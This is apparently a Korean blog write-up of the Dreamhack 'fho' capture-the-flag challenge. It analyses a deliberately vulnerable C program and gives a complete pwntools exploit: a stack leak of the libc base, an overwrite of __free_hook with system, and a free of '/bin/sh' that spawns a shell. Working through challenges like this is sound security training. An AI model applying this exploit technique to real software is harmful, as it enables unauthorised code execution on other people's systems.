미역줄기의 이모저모
[ Dreamhack ] fho 본문
문제 코드
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitrary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
코드 분석을 해보자
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
- 버퍼의 크기는 0x30으로 할당했기 때문에 이 부분에서 버퍼오버플로우가 발생한다.
puts("[2] Arbitrary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
- 주소를 입력하고, 그 주소에 임의의 값을 쓸 수 있다.
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
- 주소를 입력하고, 그 주소의 메모리를 해제할 수 있다.
공격수단
- 스택의 어떤 값을 읽을 수 있다.
- 임의 주소에 임의의 값을 쓸 수 있다.
- 임의 주소를 해제할 수 있다.
이 세 가지를 이용해서 셸을 획득할 수 있다.
공격 순서
- 라이브러리의 변수 및 함수들의 주소를 구한다.
- 셸 획득
__free_hook, system 함수, "/bin/sh" 문자열은 libc 파일에 정의되어 있으므로, 주어진 libc 파일로부터 이들의 오프셋을 얻을 수 있다.
$ readelf -sr libc-2.27.so | grep " __free_hook@"
0000003eaef0 00dd00000006 R_X86_64_GLOB_DAT 00000000003ed8e8 __free_hook@@GLIBC_2.2.5 + 0
221: 00000000003ed8e8 8 OBJECT WEAK DEFAULT 35 __free_hook@@GLIBC_2.2.5
__free_hook 오프셋 = 0x3ed8e8
$ readelf -s libc-2.27.so | grep " system@"
1403: 000000000004f550 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
system 함수 오프셋 = 0x4f550
$ strings -tx libc-2.27.so | grep "/bin/sh"
1b3e1a /bin/sh
"/bin/sh" 오프셋 = 0x1b3e1a
- __free_hook 오프셋 = 0x3ed8e8
- system 함수 오프셋 = 0x4f550
- "/bin/sh" 오프셋 = 0x1b3e1a
메모리 상에서 이들의 주소를 계산하려면, 프로세스에 매핑된 libc 파일의 베이스 주소를 알아야 한다. libc의 베이스 주소를 알면 거기에 오프셋을 더하여 메모리 상 주소를 구할 수 있다.
공격수단 1번을 이용하면 스택의 값을 읽을 수 있는데, 스택에는 libc의 주소가 있을 가능성이 매우 크다.
특히 main함수는 __libc_start_main 이라는 라이브러리 함수가 호출하므로 main 함수에서 반환 주소를 읽으면, 그 주소를 기반으로 필요한 변수와 함수들의 주소를 계산할 수 있다.
$ gdb ./fho
pwndbg> start
pwndbg> main
pwndbg> bt
#0 0x00005555555548be in main ()
#1 0x00007ffff7a05b97 in __libc_start_main (main=0x5555555548ba <main>, argc=1, argv=0x7fffffffc338, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffc328) at ../csu/libc-start.c:310
#2 0x00005555555547da in _start ()
또한 공격수단 2번을 이용하면 __free_hook의 값을 system함수의 주소로 덮어쓰고, 3번을 이용하여 "/bin/sh"를 해제하면 system("/bin/sh")가 호출되어 셸을 획득할 수 있다.
보호기법
x86-64 아티텍처 => canary가 8바이트
canary가 있다 => 우회해야함
NX 적용 => rop
PIE 적용 => 바이너리가 실행되는 메모리주소가 랜덤화된다.
Exploit
1. 라이브러리의 변수 및 함수들의 주소 구하기
main 함수의 반환 주소인 libc_start_main+x 를 leak 하여 libc base 주소를 구하고 변수 및 함수들의 주소를 계산한다.
main 함수는 라이브러리 함수인 __libc_start_main이 호출하므로, main 함수의 스택 프레임에는 __libc_start_main+x로 돌아갈 반환 주소가 저장되어 있을 것이다. __libc_start_main+x는 libc 영역 어딘가에 존재하는 코드이므로, __libc_start_main+x 의 주소를 leak한 후 해당 값에서 libc_start_main+x의 오프셋을 빼는 방식으로 프로세스 메모리에 매핑된 libc의 베이스 주소를 계산할 수 있다.
$ gdb fho
pwndbg> b *main
Breakpoint 1 at 0x8ba
pwndbg> r
pwndbg> bt
#0 0x00005625b14008ba in main ()
#1 0x00007f5ae2f1cc87 in __libc_start_main (main=0x5625b14008ba <main>, argc=1, argv=0x7ffdf39f3ed8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffdf39f3ec8) at ../csu/libc-start.c:310
#2 0x00005625b14007da in _start ()
pwndbg> x/i 0x00007f5ae2f1cc87
0x7f5ae2f1cc87 <__libc_start_main+231>: mov edi,eax
pwndbg>
main 함수에 중단점을 설정한 후 실행한다. 그리고 main 함수에서 멈췄을 때, 모든 스택 프레임의 백트레이스를 출력하는 bt 명령어로 main 함수의 반환 주소를 알아낼 수 있다. x/i로 출력하면 __libc_start_main+231이다.
#1부분을 보면 main 함수의 반환 주소는 0x00007f5ae2f1cc87 이다.
readelf로 __libc_start_main+231의 오프셋을 구할 수 있다.
$ readelf -s libc-2.27.so | grep " __libc_start_main@"
2203: 0000000000021b10 446 FUNC GLOBAL DEFAULT 13 __libc_start_main@@GLIBC_2.2.5
--> __libc_start_main+231의 오프셋 = 0x21b10+231
따라서 main 함수의 반환 주소인 __libc_start_main+231 를 leak 한 후, 해당 값에서 0x21b10+231를 빼면 libc의 base 주소이다.
libc base 주소를 알았으니 __free_hook, system함수, "/bin/sh" 문자열의 주소 값도 계산이 가능해졌다!
Exploit code
from pwn import *
p = process('./fho')
e = ELF('./fho')
libc = ELF('./libc-2.27.so')
def slog(name, addr): return success(': '.join([name, hex(addr)]))
# [1] Leak libc base
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
# 또는 libc_base = libc_start_main_xx - libc.libc_start_main_return
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))
slog('libc_base', libc_base)
slog('system', system)
slog('free_hook', free_hook)
slog('/bin/sh', binsh)
# [2] Overwrite `free_hook` with `system`
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(system).encode())
# [3] Exploit
p.recvuntil('To free: ')
p.sendline(str(binsh).encode())
p.interactive()
앞서 말한 과정이 모두 들어가 있는 코드이다. 쪼개서 보자면,
# [1] Leak libc base
buf = b'A'*0x48
p.sendafter('Buf: ', buf)
p.recvuntil(buf)
- main을 디스어셈블 하면 buf =b'A'*0x48인 이유를 알 수 있을 것이다! 먼저 버퍼를 오버플로우 한다.
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols['__libc_start_main'] + 231)
# 또는 libc_base = libc_start_main_xx - libc.libc_start_main_return
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))
- 이제 main 함수의 스택 프레임에 있는 __libc_start_main+x로 돌아갈 반환 주소를 leak 한다.
- 그리고 오프셋을 빼서 libc base의 주소를 구한다.
- system, free_hook, "/bin/sh"의 주소를 구한다.
# [2] Overwrite `free_hook` with `system`
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(system).encode())
- free_hook의 값을 system 함수의 주소로 오버라이트한다. 그렇게 되면 free_hook이 가리키는 함수가 실행되니까.. system 함수가 실행되게 된다!
# [3] Exploit
p.recvuntil('To free: ')
p.sendline(str(binsh).encode())
- "/bin/sh"를 free하여 system("/bin/sh")를 호출한다.
'Hacking > Dremahack 문제풀이' 카테고리의 다른 글
[ Dreamhack ] ssp_000 (1) | 2024.02.24 |
---|---|
[ Dreamhack ] out_of_bound (0) | 2024.02.20 |
[ Dreamhack ] basic_rop_x86 (0) | 2024.02.16 |
[ Dreamhack ] basic_rop_x64 (0) | 2024.02.16 |
[ Dreamhack ] rop (2) | 2024.02.11 |